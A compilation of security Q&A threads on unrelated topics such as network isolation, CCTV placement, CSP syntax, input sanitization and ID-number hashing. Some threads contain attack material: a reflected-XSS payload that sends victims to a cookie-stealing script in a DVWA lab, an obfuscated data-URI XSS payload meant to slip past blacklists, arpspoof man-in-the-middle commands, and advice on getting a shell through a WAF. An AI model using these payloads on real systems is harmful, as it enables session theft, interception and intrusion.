Multiple Independent Levels of Security vs Multilevel security I am looking for a way to isolate two different networks from each other. Suppose we have 2 different networks (public and private). I am looking for a way to connect to these two networks via a single network wire in a trusted way.

I did some search and I found that there are two solutions for this purpose:

Multilevel security (MLS)
Multiple Independent Levels of Security (MILS)

Unfortunately, I could not find any obvious difference between these two methods. I also found out that MILS used separation kernel for making different networks independent.

Would you please explain these two methods and their differences for me? Also would you please tell me what is the relation between cross-domain solutions, trusted-OS and these two methods?

MLS and MILS are general concepts rather than technical solutions.

Usually 2 networks are connected with a router inbetween. The router has ACLs or firewall features which allow you to filter the traffic between both networks.


Php intermediate shell Is there any way that i can use the compromised website as the shell

What i am trying to achieve is to get a reverse shell on the machine,not a webshell.The target machine has a website hosted on it open to public.The machine is behind a waf so all tcp are blocked only port 80 is allowed.

Is there any tool out there that  can  make a php intermediate page between my uploaded reverse tcp shell in the website and my local listener

target machine netcat (NC1) <==>php intermediate webpage<====>attacker netcat (NC2)

how the implementaion should be:
NC1 should bind to a localport in target machine ,the php page would read from the socket and upon recieving a get request from N2 would hand it over.

I know it can be programmed but i dont want to take the burden.

To get a remote shell on the target system, usually there are two common scenarios:
- reverse shell
- bind shell
Based on your post, I'm assuming that you have a web shell already, and that you have been able to upload reverse shell code to the target. Furthermore I interpret your comments the way that your reverse shell has not been able to connect back to your local listener because of the target's outbound firewall rules. Have you tried various ports?

A bind shell will not work either, because of the inbound firewall rules that you describe.

If inbound port 80 is your only option, weevely might be your tool of choice. Technically, it's a web shell, but at least it provides you with the look and feel of a remote shell.


Is it better to have a camera hidden or visible? Two years ago a professional gang broke into the Bureau de Change next door during the night. One of the cameras was a small IP camera which I had advised them to install as I thought an off-site recording would be a good thing. However, they were so professional that they recognized the IP camera and covered their faces before they disabled it; we have seen the entire footage.

They did not touch the main security cameras, but dipped the DVR to which all six cameras were connected into a bucket of water. The police have not managed to recover anything from the HDD.

The whole thing makes me wonder whether it is wiser to try to scare intruders away by means of visible CCTV or using hidden cameras to catch them, as visible cameras only made the job easier for the thieves.

From security point of view is it better to have camera hidden or visible

Yes.

Hidden and visible cameras emphasize different security values.

Visible cameras provide deterrent value as much or more than recording value:

They may cause less prepared or less dedicated criminals to think twice.
They may encourage actions or routes which benefit the defender (e.g., walking around the visible camera field may force the attacker into the field of another, hidden, camera).

Visible cameras are more susceptible to avoidance or disabling, though, because they are obvious.

Hidden cameras provide improved recording value, in that they can be more survivable than visible cameras.  However, they may have more limited fields of view, and they don't provide any deterrence.

The security decision to go with hidden, visible, or both, should be dictated by the site and the threat.

A convenience store is going to want to emphasize visible cameras, as deterrence is more valuable in that threat environment.  A museum might emphasize hidden cameras, partially because deterrence is less of an issue and partially because obvious cameras detract from the atmosphere they want to provide for their customers.

In all cases, the Digital Video Recorder (DVR) needs to be better protected than it was in this case.  It should be protected well enough that legitimate employees can't tamper with it - certainly the attackers in the case you describe probably knew video stayed local to the site, knew it could be disrupted, and possibly even had "inside information" that allowed them to go straight to it.


How to exploit XSS reflected in order to steal cookies I'm trying to exploit a XSS Reflected vulnerability on DVWA, in order to steal cookies. Currently I managed to craft the following payload into an HTTP request that will redirect the victim to load and execute a php file cookie.php.

The following payload, if entered on search box will load a php file.

<script>document.location.href="http://localhost:81/myfiles/cookie.php"</script>

Therefore, I would like to embed this payload on a malicious page (that the victim will access). This is what the malicious page looks like.

When this malicious page is loaded by the user, a php file should be loaded in order to steal the cookie from the victim and then write it to a file. This is not happening despite of the fact that the payload is successfully echoed back to the victim's browser. I check this by printing the HTTP response and I looked for my payload. Here's a proof of concept. So despite of the payload was successfully delivered to the victim's browser the php file was not loaded.

This exploit will work if I load cookie.php manually on browser or if I feed it to the search box directly on the vulnerable webserver, but this is cheating. So my first question is: Why php file is not loading if payload was successfully echoed back?

My second question is: suppose that I want to make this in a real lab scenario where I have two machines on the same virtual network. 192.168.56.102 is running web server and has the cookie grabber. Will the malicious page work if I only change the IP addresses? I mean...instead of localhost on port 81 change it to IP on port 81?

I kinda know that this probably would not work because if I do this:

  http.open("GET","http://192.168.56.102:81/vulnerabilities/xss_r/?name="+encoded_url,true);

It will not have a cookie assigned to it because this "question" is not addressed to my browser session but is instead to the server's IP.

Clearly, you can see that I'm almost there (and maybe a little lost) but I really can use some feedback on this. What do you think about it?

Actually i am facing the same error when i was doing. And that time i came to know about the local hosting have some limitations. We can not directly send data between to machine that are locally.
So if you try to use the remote hosting that will work
And one more thing is that your POC link is expired.

Here i am putting the link of my POC:
https://youtu.be/H4AXL4K_hw8

I hope this will help you:)

Thanking you..


In a content security policy header: Should the url's be quoted or not, and is there any security implication to this decision? So in a CSP like the below:

content-security-policy: upgrade-insecure-requests; frame-ancestors 'self' https://stackexchange.com

Should the url part be quoted like this (example from mozilla security [1]) - even though this example has both styles:

# Disable unsafe inline/eval and plugins, only load scripts and stylesheets from same origin, fonts from google,
# and images from same origin and imgur. Sites should aim for policies like this.
Content-Security-Policy: default-src 'none'; font-src 'https://fonts.googleapis.com';
             img-src 'self' https://i.imgur.com; object-src 'none'; script-src 'self'; style-src 'self'

Or unquoted like this:

# Disable unsafe inline/eval, only load resources from same origin except also allow images from imgur
# Also disables the execution of plugins
Content-Security-Policy: default-src 'self'; img-src 'self' https://i.imgur.com; object-src 'none'

[1] Examples from here: https://infosec.mozilla.org/guidelines/web_security#content-security-policy

The standard clearly defines the syntax. In section 4.2 it contains the following:

source-list       = *WSP [ source-expression *( 1*WSP source-expression ) *WSP ]
              / *WSP "'none'" *WSP
source-expression = scheme-source / host-source / keyword-source / nonce-source / hash-source
...
host-source       = [ scheme-part "://" ] host-part [ port-part ] [ path-part ]
keyword-source    = "'self'" / "'unsafe-inline'" / "'unsafe-eval'"

Based on this URL should not be quoted while keyword sources like 'self', 'unsafe-inline' ... must be quoted. The example you cite where the URL is quoted does not match the standard and is likely wrong.

In fact, when trying to use such a quoted URL Chrome will complain:

  The source list for Content Security Policy directive 'font-src' contains an invalid source: ''https://example.com''. It will be ignored.


Is DDOS more common than DOS? Which attack takes place more often over the internet? I would have assumed DDOS due to the amount of botnets around today.

I would say that DoS attacks are significantly more common, I should also point out that a packet flood is not the only form of DoS / DDoS attack.

For example, I know of a fairly popular php product ( a Video encoding / gallery product, not going to name names since this is still undisclosed) which even in its current revision can be massaged correctly into fork-bombing the server that is running into oblivion.

A DDoS requires a botnet or multiple machines to do this so the barrier to entry on this is higher.


This page includes a password or credit card input in a non-secure context I am in doubt whether this is a programming or security issue.
I have noticed that Google Chrome is sending this message in the console:

  This page includes a password or credit card in a non-secure context.

However, my app's hosting provider is selling the HTTPS service as a separate service.

Currently I am not able to purchase this service.
So what should I do to resolve this situation by avoiding future problems?

Maybe an alternative would be to use CryptoJS?

Currently I am not able to purchase this service. So what should I do to resolve this situation by avoiding future problems?

It's pretty simple: use https. Chrome has detected that you're passing around private information on an unsecured channel, and is rightfully telling you that that's a major security issue.

There are many options for purchasing a TLS (SSL) certificate, including the monetarily free Lets Encrypt, but this isn't a forum for service recommendations. What really matters is that you get one.


Is this sanitization method secure? I implemented this sanitization fix:

function san($str, $type="full") {
    switch ($type) {
        case "full":
            $str = preg_replace("/[^a-zA-Z0-9_\-]/i", "", $str);
        break;
        case "mid":
            $str = preg_replace("/</i", "&gt;", $str);
            $str = preg_replace("/>/i", "&lt;", $str);
        break;
        case "low":
            if ($str == "true" || $str == true)
                $str = true;
            else
                $str = false;
        break;
    }

I want to sleep peacefully, but I'm not a security expert. What can pass through that filter? I know how to use regex, but is possible to encode str to bypass this function?

The mid level is intended to protect against XSS and the full level against command injection, such as this:

$str = san($_REQUEST['cmd']);
$cmd = "cmd1 foo | cmd2 -arg=". $str;
shell_exec($cmd); // is this secure?

Is a generic input filter enough?

No, input sanitation is not the proper defense against any attacks, so just because you do have some filters is no reason to call it a day.

You do need proper defenses against typical attacks in place, eg prepared statements for SQL injection, encoding variables on output against XSS, etc.

That being said, additional input filtering is highly recommended as defense in depth.

Usability of your function

Usability is important. If no one knows what exactly your function does and how to properly use it, it will provide less security as people - this may include you in the future - will use it incorrectly or change it.

Your function isn't all that usable though. If I see san($x, "full"), I have no idea what is happening. Same goes for mid and low as arguments (and the naming doesn't even seem to make sense; is low supposed to be less secure - against ... something ... - than full or mid?).

A generic "full" also makes it very easy to change what the code does. Maybe you think that you need ; in some other case, so why not add it? It doesn't seem to do any harm, and it still matches the "full" description.

I would suggest some generic Input class with methods such as getInt($name), getAlphaNum($name), getCleanHTML($name), getRaw($name), getFilter($name, $regex), etc. With names like these, you see right away what you get, and if it's appropriate for the input and the situation. You also know not to change the implementation (getInt should always return an integer, getAlphaNum always alphanum).

Defending against Code Execution

Your example should be safe. I can't break out of the current context or add a new command, because I have neither space nor semicolon, nor any other character that may be used in different shells to add new commands.

Still, as suggested above, I would rewrite it. So it might look like this:

$str = Input::getFilter("cmd", [^a-zA-Z0-9_\-]);
$cmd = "cmd1 foo | cmd2 -arg=". escapeshellarg($str);
shell_exec($cmd); // is this secure?

Now you are using the recommended approach (escapeshellarg), and have an additional filter, where it is quite clear what the filter does currently or might do in the future.

Defending against XSS

First of, your code is bugged. < is $lt (for less than).

Secondly, this will defend against XSS in some cases, but not all. It will not defend against XSS if you are already in a tag context (eg <img src="[USERINPUT]">), or in a JavaScript context (eg <script>var = "[USERINPUT]";</script>).

This is also one of the reasons that input filtering is not enough to prevent XSS (except very strict filtering, eg only accepting integer). You need to know the context to properly defend against it. In most contexts, htmlspecialchars with ENT_QUOTES is good enough though, see this guide for more information.


Can I encrypt Google backups (without setting a screenlock password?) As you can see from my previous question, How can I escape Google?, I am not overly keen on sharing my personal data.
I just got yet another new Android 'phone, after yet another died. Because I do not want Google having access to my data, I was going to post to post to Software Recommendations asking for an alternative.
I searched first & found Google to Encrypt Android Cloud Backups With Your Lock Screen Password, but 1) that's over 3 years old, so I don;t know if it is still valid, and 2) I do not have a lock screen password.
Yes, I know that that sounds strange, especially if I am asking about security & privacy, but I have my reasons.
Besides I am concerned about large corporations accessing my data, not family & friends.
So, can I somehow activate Android's "backup to Google drive" without setting a PIN on my 'phone (please son't suggest setting one & sharing it with those I trust - there will be no PIN).

If you don't trust Google with your data and don't want to enable the code required to encrypt backups stored on their servers, disable backups in settings >> System >> Backup.
If you trust them enough to hold on to a backup that's encrypted with a unique code linked only to your device, then you're going to have to enable the creation of that unique code, and in this case it's the screen lock code. I have not seen any mention of face unlock also providing a code - if you want face unlock, create a code and enable face unlock.


Is it illegal to read an e-mail that was accidentally sent to you? I'm not sure if this is the right website to ask this but I'm giving it a shot.
I got the following message in an email today: (it's translated so sorry for the typo's/mistakes)

  This e-mail and it's attachments are
  confidential and only meant for the
  addressee. If this e-mail would end up
  in your inbox by accident please
  notify the sender and remove it and
  it's contents from your hard disk
  drive. Reading, publishing, adapting,
  forwarding, copying or distributing an
  e-mail that is not addressed to you is
  illegal.

Is this true? I get that this is the case when regular mail ends up in your mailbox. That makes sense because addressed person on the envelope is probably not you. But if an e-mail is sent to my e-mail address that would make me the addressee, no? I don't see how this could be hard.

http://www.economist.com/node/18529895
"Spare us the e-mail yada-yada
Automatic e-mail footers are not just annoying. They are legally useless"

At least in the EU. And no case has ever succeeded in the US either.


What is the proper way to sign up a user with a REST API? I'm building a desktop application with electron/react, which allows the users to sign up/login, but only if they have a specific email domain (user@example.com). I have a working API written in golang that can successfully serve GET requests. As for authentication,
I've tried mapping out my authentication flow, but I'm at a point where I just don't know what to do next. Here's my poorly constructed method:

Sign In

-User fills out form with information

-If email domain is valid, A token is generated on the client (I'm not sure if this is really a correct way to do it. I think it might be better to have the serve generate the token, but then wouldn't I have to implement some sort of table of users currently signing up?)

-Token is emailed to the address they signed up with via smtp service

-App navigates to validation screen

Validation

-User enters token and it is checked against the generated token

-If token is correct, we send credentials to to backend to generate a user field.

Here is where i kinda just stumped myself. How do I tell the API that it is okay to enter in this user? I could send it a JWT token but from what I understand, you do not wanna do that on the front end. However, I feel like I could solve a lot of problems if my front end could simply add verification to a get request.

If anyone has any articles I could read to steer me in the right direction, I would appreciate it! Thank you!

It looks like you are trying to reinvent the wheel.

If you have a web-service that must be protected, you can take a look at OASIS Web Services Security specification.
This specification cover web services authentication at Message level. All the authentication is done through the values in the messages exchanged.

Also, you can configure additional layers by securing the channel, for example using HTTPS, so MIM is mitigated on the messages exchanged.

The JWT option is valid, but you should be generating the token in the server. Most likely, the user should authenticate first (with user/password, for example) to get a token.
The token should be signed by your server's certificate and every time you receive a token, you should validate that the token was signed by your server's certificate.


Is logging a user out with CSRF a security issue? I found the following behavior on a relatively popular website:

They have a GET route for logging out (e.g. /api/user/logout).
That allows me to write ![](/api/user/logout) in a comment or anything that accepts markdown and that will obviously log out the user.

The fix for this bug would be not using GET (but using POST or DELETE or something similar) for the logout route.

What is the name of this type of exploit? Is it an important issue?

This is called CSRF, or Cross-Site Request Forgery. Logging a user out through CSRF is a much-discussed issue in the security community. Some view it as a non-issue (see Google's stance: https://sites.google.com/site/bughunteruniversity/nonvuln/logout-xsrf). Others view it more of a nuisance.

However, I have to respectfully disagree with Google's stance. It is easily addressable. Like other CSRF actions, you need a token (so changing it to a POST wouldn't address it) that isn't known or guessable by an attacker. This means you can make the logout link contain a one-time token. This would break attempts to put it in an image or disguise the link some other way.


Can I get 100% protection from virus by using Deep Freeze? I have recently installed an application called 'Deep Freeze' that works by "freezing" the state of an operating system and working off delta disks. Rebooting deletes the deltas and reverts back to the original frozen state.

How effective is this against virus, or other malware, infections?

There are oodles of non-local-harddisk places that malware could stay (although in practice, such is rare in viruses). A few, off the top of my head, the system BIOS (although rare, there is malware which does this), or the firmware of bootable PCI cards.

If a virus can get on to your system, though, preventing it from persisting won't help - it may simply re-infect you after your reboot. Some 'stealthy' malware will stay entirely memory-resident, and will not write to disk, in order to evade detection.

Maybe you need to examine what you're trying to prevent - instead of 'A virus', maybe the answer is 'damage to my documents' or 'exfiltration of my documents'... or even simply 'theft of my banking credentials'. This might help you focus on what threats you should be preventing.


Detect / Prove and Prevent Wifi Deauth attack I suspect that my neighbor is running multiple Wifi deauth flood attacks against my Wifi. I'm using WPA2 and I don't think he can really crack my password, but my devices keep having wifi connection problems.

How can I detect and prove that a deauth flood is going on against my AP?
How can I prevent it?

How do I know if i'm being attacked?

Detection of de-auth frames can be difficult to spot, you'll need software like nzyme (which is WI-FI monitoring software) along with something like Graylog, a WI-FI security management tool. Graylog enables you to analyze the wireless traffic hitting your network.
You'll find a much better explanation of each by just Googling the above software.

The above may help you identify if you are the target of such attacks.

Prevention

With regards to preventing it, there is no definite way of preventing de-authentication attacks.

If your AP supports it, you can enable 802.11w which increases the security of management frames and can assist with preventing these types of attacks, move info here:(802.11w)

Some people may suggest hiding your SSID. If your neighbor has a network card capable of injecting packets along with the know-how to send de-auth attacks, chances are he'll be able to suss out and discover you've hidden your SSID pretty quickly.

I can appreciate the pure annoyance of this is the entire point of wanting to block these attacks, however, these types of attacks can be much more devastating in somewhere like a coffee shop for instance, so I wouldn't be too concerned with regards to network security. (This doesn't take away from the fact this person still of course has the ability to try capturing the handshake and attempting a brute-force, see below for suggestion on how to near-eradicate this worry).

Suggestion

If this is your home network the best thing you can do if you are worried would be to create a strong, long password. Generate a 20 char one if needs be, just don't forget it!


Authenticating Hotmail's certificate and connection security I've recently received the following error message from hotmail.com (or live.com) after I have logged in using Chrome browser, consistent using different accounts and computers (regardless of 2FA or incognito mode):

Your connection is not private

Attackers might be trying to steal your information from bay181.mail.live.com (for example,
passwords, messages or credit cards). NET::ERR_CERT_COMMON_NAME_INVALID

Subject: bing.com
Issuer: Microsoft IT SSL SHA2
Expires on: 3 Apr 2017
Current date: 14 Jun 2015
PEM encoded chain: -----BEGIN CERTIFICATE-----
.
.
.
.
-----END CERTIFICATE-----

bay181.mail.live.com normally uses encryption to protect your information. When Chrome tried to
connect to bay181.mail.live.com this time, the website sent back unusual and incorrect credentials.
Either an attacker is trying to pretend to be bay181.mail.live.com, or a Wi-Fi sign-in screen has
interrupted the connection. Your information is still secure because Chrome stopped the connection
before any data was exchanged.

You cannot visit bay181.mail.live.com right now because the website uses HSTS.
Network errors and attacks are usually temporary, so this page will probably work later.

While I understand this is a result of HSTS implementation and the redirection of http to https might have been 'insecure', I wish to understand the cause of it, as well as any potential and realistic threats that I might have been facing.

Assuming the cert chain is actually valid, it looks like its for bing.com instead of the *.mail.live.com domains.

I'd be surprised if anything malicious is going on, but more likely a bad DNS entry, poorly configured certs by Microsoft, or potentially just one part of the browser not realizing another part of the browser is redirecting to the configured search page.

You can test this by comparing the cert on the bad page, with the actual bing.com cert. If cert details match up (thumbprints, CAs, issuance/expiry dates, etc.) then it might be reasonable to chalk it up to environmental issues.


Are there still some ssl domains containing the nul character for testing purposes? Some years ago, there was a bug with host name checking in ssl so that connection towww.paypal.com%00.thoughtcrime.orgwould look aswww.paypal.comat the certificate level.

The issue seems to be over for web browsers. But some tools and popular libraries still useconst char *without associated size internally for representing domain names.

Aswww.paypal.com%00.thoughtcrime.orgseems to no longer be available, are there still some public server already set up servers for testing ?

There is no such thing as an "SSL domain".

There is no NUL-handling bug in SSL, which is a specification.  Only bugs in implementations.  Lots of bugs.  In these bugs, there never was a NUL character in the hostname at all, only in the certificate.

Widely used implementations such as OpenSSL now protect against this, but testing is surely still worthwhile.

However, testing doesn't require connecting to a website.  You can run tests by asking your implementation to validate a locally stored certificate.  Instructions and example certificates have been available since 2009


Modify Win OS banner to avoid OS detection I would like to modify Win OS banner to defeat OS detection from scanning tools like Nmap for example. Although, I know that Nmap does not take into account just the banner to do OS detection.

I suppose you're talking about the OS Fingerprint, which used to be a simple OS File that you could modify or replace.

However, with newer scan techniques, and combined scan techniques, modification of the fingerprint will no longer be sufficient to effectively hide your OS from nmap.

For example, the scanner looks at some TCP Properties, like the TTL and TCP Window size:

Operating System                      Time To Live  TCP Window Size
Linux (Kernel 2.4 and 2.6)            64            5840
Google Linux                          64            5720
FreeBSD                               64            65535
Windows XP                            128           65535
Windows Vista and 7 (Server 2008)     128           8192
iOS 12.4 (Cisco Routers)              255           4128

Then again, there's also "logic", if you have IIS or Windows RDS running, you're probably running Windows, if an NGINX banner is found, you're likely running Linux.

So in order to effectively hide your operating system from an attacker, you will need to hide banners from several services in order to get the desired effect.

Best would be to perform scans yourself, and take down identifiable banners one by one.


How do I view a list of known unpatched windows xp arbitrary code execution vulnerabilities? I know there is secunia and cve.mitre and ms kb database but I could not find a way to filter results only for operating system "windows xp" (or 2003 server, they share about the same code) with impact "arbitrary code execution" for which there is no workaround and no patch.

You will not find this elaborate data no matter where you search simply because there are a lot of unreported attacks against many operating systems. When dealing with XP, you are likely also dealing with the security issues with newer operating systems (Windows 7, Windows 8) not to mention software such as Adobe, Firefox, etc., that are no longer supporting Windows XP either.

By stating you are looking for "code execution" in Windows XP, you're forgetting about the amount of software that will never be updated for XP. Flash, Firefox, IE, Office, and this list goes on and on. It's akin to playing Russian Roulette with 3 or more bullets in the chamber.

Because you're still going to do whatever you choose to do, I suggest you focus on something like Tripwire, OSSEC or some other HIPS checksum mechanism to make sure nothing new is introduced on the system. You might be able to find (archive.org or something) a legacy copy of Black Ice Defender which can be configured to alert on the fly at in and outbound connection attempts versus relying on the standard Windows firewall.

As for your initial question, you won't find a source that will tell you ALL code execution exploits because you need to worry not only about Windows, but about the software it is running.


data:// uri XSS - using wrappers Is there any way to load html data uri:

  data:text/html,<html><svg/onload=confirm(1)></html>

with this scheme:

  data://

i have seen this payload going around:

  data://text/javascript,alert(1)

But only shows as text plain, on latest Chrome / Firefox

Mozzila Firefox ESR latest -> prompts download

Doing this directly in the searchbar won't work, it must to be activated from the source code.

By introducing a newline right in the middle of the protocol handler, we can make sure that blacklists looking for javascript: and data: as well as other possibly malicious handlers will not detect anything bad, and probably will allow submission. The only browsers not allowing this kind of obfuscation are Firefox and Gecko-based user agents. Since it's allowed to use the canonical form of the newline.

Practically you can manipulate the handler by using hex-chars to replace with some chars in the current payload.

The "a" in this payload is actually hardcoded in hex, between "d" and "t", then using the content type text/html for displaying it, also the a's next are in hex:

<a href="
        d
        &#x61
        t
        &#x61
        :text/html,
        <scr&#x69pt>alert('Gstuff')</scr&#x69pt>">click me

The code above will result in a valid XSS, tested in Safari 12.11

https://i.stack.imgur.com/aPJox.png


Is dns ddos protection enough for my website ddos protection? If I hide my server's public IP and using a DDoS protection service such as CloudFlare or DYN, does it means that my website is safe from DDoS attacks? Or can an attacker conduct DDoS attacks that circumvent the protection offered by these services?

Nothing is 100%, but this will mitigate many of them. But if enough bandwidth is thrown at the DDOS protection company then in theory you could still loose your site, that said companies such as CloudFlare are built to protect as well as possible.

Also, make sure your server/site is never referenced directly from public facing sides of the internet, otherwise attackers will attack the endpoint directly.


What asset details are the most relevant in a cyber security risk assessment procedure? I am identifying organisation assets for a cyber security risk assessment. I am looking for guides or industry best practices for what asset details are actually useful for the risk assessment procedure.

We can easily get a lot of information on hardware and software assets by running scripts. We will store all of it, because we never know what we might need. However, in the scope of a cyber security risk assessment, some of it will not be useful. For example: I understand that server IP addresses are important security-wise, but motherboard manufacturer and model name are not so much.

Is there a concrete set of asset details that are most relevant for an asset report for a security risk assessment discussion?

Or, equivalently,

Is there a set of asset details that are "too much", that can be safely omitted from the asset report?

You are tackling this problem backwards. You assess risks against threats. The threats inform you of what is relevant.

Is your risk that the hardware has a built-in backdoor from the government of the manufacturer's country? Then, yes, "motherboard manufacturer and model name" are crucial pieces of data.

Gathering tons and tons of data hoping that some piece of it might be useful is not the way to go. Figure out your threats then assess against them. There is no set standard to follow.

Sometimes an expert can help you add to the list of relevant items because they might understand the threats a little better than you do, so do not discount outside help, papers, or reports. That's why Threat Intel is a vital part of a risk process.


Intercept Connections Instead of Forwarding (using arpspoof) I am doing ARP Spoof experimentation with arpspoof and have successfully set up a man in the middle between two machines.

We set up IP Forwarding using:

echo 1 > /proc/sys/net/ipv4/ip_forward

This allows us to analyze communications using, for example, Wireshark.  In theory, we should be able to modify traffic as well.  I am aware of tools like Ettercap and SSLstrip, but how would I manually impersonate the target server?

To rephrase the question: client A is talking to server B.  Attacker C (that's me) is in between and currently forwarding packets both ways.  How does C, at a low level, redirect requests meant for B to my own machine?

All systems involved are using BackTrack.

Update:

My arpspoof commands (on attack machine, C):

arpspoof -i eth0 -t 8.0.0.2 8.0.0.3 # Tell 8.0.0.2 (A) that I am 8.0.0.3 (B)
arpspoof -i eth0 -t 8.0.0.3 8.0.0.2 # Tell 8.0.0.3 (B) that I am 8.0.0.2 (A)

My netcat commands for testing:

nc -p 5555 -l # Run on target B, listen on port 5555
nc -p 5555 -l # Run same thing on attack machine
nc 8.0.0.3 5555 # Run on A; connect to B.

My goal is to get C to pose as B when A runs the last command.

If IP forwarding is on, A connects to B.  If IP forwarding is off, A fails to connect with: (UNKNOWN) [8.0.0.3] 5555 (?) : Connection timed out.  The issue is that the IP layer does not respond to a packet meant for another IP address; so although C receives the packet at a lower level, it does not get passed "up" the stack.  My goal is to get this up the stack.

Once you have intercepted the communication, you can perform an edit on the plain text in the packets being sent, so you can change what a website says, for instance. A search/replace using regex works for this purpose.

To do this efficiently, ettercap has many tools to help you out.

Depending on what you want to accomplish, BeEF is another great example, which in included in Backtrack. It allows you to spoof entire websites and make modifications. It also has some impressive client attack tools, but I think that's not in the scope of what you want to do.


Secure encrypted storage of values that allows DB lookups? I'm developing a system that has to store Finnish national identification numbers as securely as possible while allowing "does this identification number exist in the system?"-type queries over a web API.

At first glance, the answer might seem obvious: store a salted hash of the number, so that when you're given an API query containing an unencrypted ID number, see if its salted and hashed version exists in the database, as you do with passwords.

However, while this approach might work nicely enough with passwords, it's not nearly as simple with ID numbers, because there are so few possible ones. Their format is DDMMYY[-+A]XXXZ. For any year YY you have 365 or 366 possible DDMM combinations. For each DDMMYY combination you have a sequential number XXX, from 002 to 899. Z is a checksum character calculated from the nine preceding digits. The -/+/A separator between the date and the number sequence denotes the birth century.

If an attacker gains access to the server, they have access to the Python source code and the database, and can therefore instantly see how the salting and hashing of ID numbers is done. Given the small number of possible ID numbers (which can be reduced further with demographic knowledge about the people stored in the database), it's trivial to generate all the possible salted hashes for every possible identification number, for every person in the database.

I considered public key crypto, but that fails because encrypting a value with a public key on two different occasions produces two different ciphertexts, so they can't be used in lookups like hashes can.

Am I missing something obvious, or is there really no reasonably secure way in which to store ID numbers that could be used for lookups AND that could withstand a server breach, where the hashes and the source code with which they were created end up in the wrong hands?

I have faced a similar problem, for which I implemented the following mitigation. I would greatly appreciate input as I do not claim that this is necessarily an excellent solution.

TL; DR

Store IDs as HMAC(ID, master-key) and each user's password is used to derive a per-user key to encrypt master-key.

Adversary capabilities / limitations

It protects against an adversary capable of reading all at-rest data, but not one that can read memory (e.g. intercept inter-process communication between the web server and the CGI).

One-to-one salts hinder searching

Efficient searching in your case requires indexing and searching for a single value. By salting each ID number you have to calculate HASH(search query, salt) for all salts which is (a) inefficient when done for each search, and (b) ineffectual from a security perspective as described below.

Tiny search space

The primary issue lies in the fact that the search space of ID numbers is so small. Brute force attacks on hashes are, in addition to other means, mitigated by increasing work factors (a.k.a. stretching) with PBKDF2, bcrypt, scrypt, etc. However the search space is in fact so small that any significant-enough increase in work factor for adversaries would be too inconvenient for users (e.g. 30s+ per search).

Change the problem

My approach was to modify the problem to one of protecting a secret key. HMAC allows for both data (the ID number), and a key. IDs are stored as HMAC(ID, key) while searches are performed with HMAC(search, key). This requires exact matches, but can be made case-insensitive with uppercase(ID) and uppercase(search). A brute-force attack with a 256-bit key is infeasible even without increased work factor.

How do we protect the key? Query-API users are authenticated, so their password can be utilised (after salting and stretching) as the 'input keying material' (IKM) for HKDF. HKDF allows for independent keys to be generated from a single entropy source (the IKM) by inclusion of 'contextual information' and a salt. For the function HKDF(IKM, context, salt) where IKM = PBKDF2(password, rounds) we then calculate HKDF(IKM, 'Authentication', 'user-specific non-secret auth salt') and HKDF(IKM, 'KeyWrapping', 'user-specific non-secret wrap salt'). The former is stored in the database much like a regular password-authentication hash and the latter is used to wrap (i.e. encrypt) the master key used in the earlier HMACs (note that each user has their own wrapped master key).

Each time a session is authenticated, the unwrapped master key is wrapped inside an encrypted session. You can use HKDF with the (already secret) session ID to derive encryption / storage keys for the session. Unlike passwords which need to be stretched (incurring a second or two's delay upon authentication), session IDs can be generated from a CSPRNG (make sure to use HttpOnly and secure flags).

This raises another problem in that we need to initially wrap the master key for every user without actually knowing their password. Upon creating the user in the database they should have a private / public key pair created. The private key is encrypted with HKDF(IKM, 'PrivateKeyEncryption', 'user-specific non-secret PKI salt'). Each user can then have the master key given to them by an administrative user. Upon logging in the system checks their pubkey inbox for any new master key and then wraps it for next time. You could actually just use the asymmetric approach, but it's computationally more expensive.

Caveats

It is impossible to reset lost passwords without requiring an administrative user to give the master key to the user.
I'm NOT a cryptographer - there may be vulnerabilities that result from having multiple ciphertext instances of the same plaintext (EDIT: see first comment). If so, can this be mitigated by using random-length entropic prefixes and suffixes? Or is an IV sufficient? There may be other issues that I have completely overlooked.
This relies on ephemeral secret keys (password upon logging in, session ID on each request) being stored in memory. I'm not sure how your cron job will function; one possible solution is to have it use asymmetric encryption with knowledge of a public key whose private key is encrypted with the master key that all users can access (any authenticated session can then move keys into the database).
Does your threat model require such extensive engineering? Complexity results in more places for things to go wrong.


How to prevent security risk when logout failed for authentication cookies In the normal process, users request to logout from the client-side, then the server revokes that authentication cookie. Everything works fine if the network works as expected.
But it seems that there is a security risk in the situations described below:
situations:

I set an authentication cookie for logged users on the server.
the cookie marked as Http-only to prevent XSS attack.
the cookie set 3 months expiration to prevent inputting credentials every time.
Occasionally, the network is not working for some unknown reason when the user clicked the logout button so the browser keeps that cookie after the user logged out.
but the wiki told me that I do not have the permissions to change the Http-only cookies by javascript.

Then no matter what you have done, the server didn't revoke that authentication cookie and that cookie remains in the browser. Then there is a security risk.

Use a second cookie on top of the session cookie. When logging in, put some random data in that cookie and in the session. On every access, check whether these match. On logout, remove this cookie on the client side.

This second cookie is not HttpOnly, so you can remove it using JavaScript. To perform authenticated requests you need both cookies, and an XSS attack can't read the session cookie as its HttpOnly. So you get the advantages of HttpOnly while still being able to revoke the session on the client.


Export Nessus Professional vulnerability scan results listed by vulnerabilities When I export Nessus Professional vulnerability scan results into HTML, the results are listed by host. Is it possible to export Nessus Professional vulnerability scan results listed by vulnerabilities?

When creating your report there an option to group by plugins.


Can a wildcard SSL certificate be issued for a second level domain? Something like *.com or *.net? How about *.edu.au?

The RFC 2818 does not say anything about this topic.

Yes, it can be issued.

Luckily the common browsers do not accept wildcard certificates for TLDs.

Chromium Source Code:

// Do not allow wildcards for public/ICANN registry controlled domains -
// that is, prevent *.com or *.co.uk as valid presented names, but do not
// prevent *.appspot.com (a private registry controlled domain).
// In addition, unknown top-level domains (such as 'intranet' domains or
// new TLDs/gTLDs not yet added to the registry controlled domain dataset)
// are also implicitly prevented.
// Because |reference_domain| must contain at least one name component that
// is not registry controlled, this ensures that all reference domains
// contain at least three domain components when using wildcards.
size_t registry_length =
    registry_controlled_domains::GetCanonicalHostRegistryLength(
        reference_name,
        registry_controlled_domains::INCLUDE_UNKNOWN_REGISTRIES,
        registry_controlled_domains::EXCLUDE_PRIVATE_REGISTRIES);

// ... [SNIP]

// Account for the leading dot in |reference_domain|.
bool is_registry_controlled =
    registry_length != 0 &&
    registry_length == (reference_domain.size() - 1);

// Additionally, do not attempt wildcard matching for purely numeric
// hostnames.
allow_wildcards =
    !is_registry_controlled &&
    reference_name.find_first_not_of("0123456789.") != std::string::npos;
}

The complete list of domains that Google disallows is in net/base/registry_controlled_domains/effective_tld_names.dat

Other browsers also do this, including IE and Firefox.

In the list of fake certificates issued by DigiNotar, there is "*.*.com". This is obviously an attempt to get around the restriction.


